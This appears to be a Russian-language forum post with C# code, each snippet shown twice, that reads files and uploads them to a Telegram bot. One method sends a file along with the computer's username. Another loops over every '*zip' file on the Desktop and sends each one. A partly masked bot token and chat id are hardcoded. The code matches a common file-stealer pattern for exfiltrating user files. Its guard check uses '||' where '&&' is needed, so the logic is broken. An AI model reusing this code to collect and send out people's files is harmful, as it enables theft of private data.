Просто как пример: public static async Task SendFile(string token, int id, string filename) { if (!string.IsNullOrWhiteSpace(token) || System.IO.File.Exists(filename)) { bot = new TelegramBotClient(token); using (FileStream stream = System.IO.File.OpenRead(filename)) // Открываем поток для чтения файла(ов) { string ssf = Path.GetFileName(filename); // Получаем имя файла var Iof = new InputOnlineFile(stream, ssf); // Входные данные для отправки string fromsend = $"Файл отправлен от: {Environment.UserName}"; // Имя пользователя Message ss = await bot.SendDocumentAsync(id, Iof, fromsend); // Отправка файла с параметрами. } } } Code public static async Task SendFile(string token, int id, string filename) { if (!string.IsNullOrWhiteSpace(token) || System.IO.File.Exists(filename)) { bot = new TelegramBotClient(token); using (FileStream stream = System.IO.File.OpenRead(filename)) // Открываем поток для чтения файла(ов) { string ssf = Path.GetFileName(filename); // Получаем имя файла var Iof = new InputOnlineFile(stream, ssf); // Входные данные для отправки string fromsend = $"Файл отправлен от: {Environment.UserName}"; // Имя пользователя Message ss = await bot.SendDocumentAsync(id, Iof, fromsend); // Отправка файла с параметрами. } } } В нужном тебе классе делаешь вызов: internal static partial class Program { private static string token = "860740080:AAHzYkm8eSYmZKd***"; private static int id = 49755****; private static readonly string DesktopFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), "Lesson.cs"); public static void Main() { try { Telega.SendFile(token, id, DesktopFile).Wait(); } catch (AggregateException) { File.AppendAllText("ConnectError.txt", "Ошибка подключения возможно вы находитесь за NAT. Используйте Proxy сервер или ***\r\n"); } } } Code internal static partial class Program { private static string token = "860740080:AAHzYkm8eSYmZKd***"; private static int id = 49755****; private static readonly string DesktopFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory), "Lesson.cs"); public static void Main() { try { Telega.SendFile(token, id, DesktopFile).Wait(); } catch (AggregateException) { File.AppendAllText("ConnectError.txt", "Ошибка подключения возможно вы находитесь за NAT. Используйте Proxy сервер или ***\r\n"); } } } Если нужно отсылать масс файлы то запилим такой метод: public static void MassSendFiles(string token, int id, string dir, string pattern) { try { if (!string.IsNullOrWhiteSpace(token)) { foreach (string files in Directory.EnumerateFiles(dir, pattern, SearchOption.TopDirectoryOnly)) { SendFile(token, id, files).Wait(); } } } catch (Exception ex) { Console.WriteLine(ex.Message); } } Code public static void MassSendFiles(string token, int id, string dir, string pattern) { try { if (!string.IsNullOrWhiteSpace(token)) { foreach (string files in Directory.EnumerateFiles(dir, pattern, SearchOption.TopDirectoryOnly)) { SendFile(token, id, files).Wait(); } } } catch (Exception ex) { Console.WriteLine(ex.Message); } } Вызывается так: private static readonly string DesktopFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory); Telega.MassSendFiles(token, id, DesktopFile, "*zip"); Code private static readonly string DesktopFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory); Telega.MassSendFiles(token, id, DesktopFile, "*zip");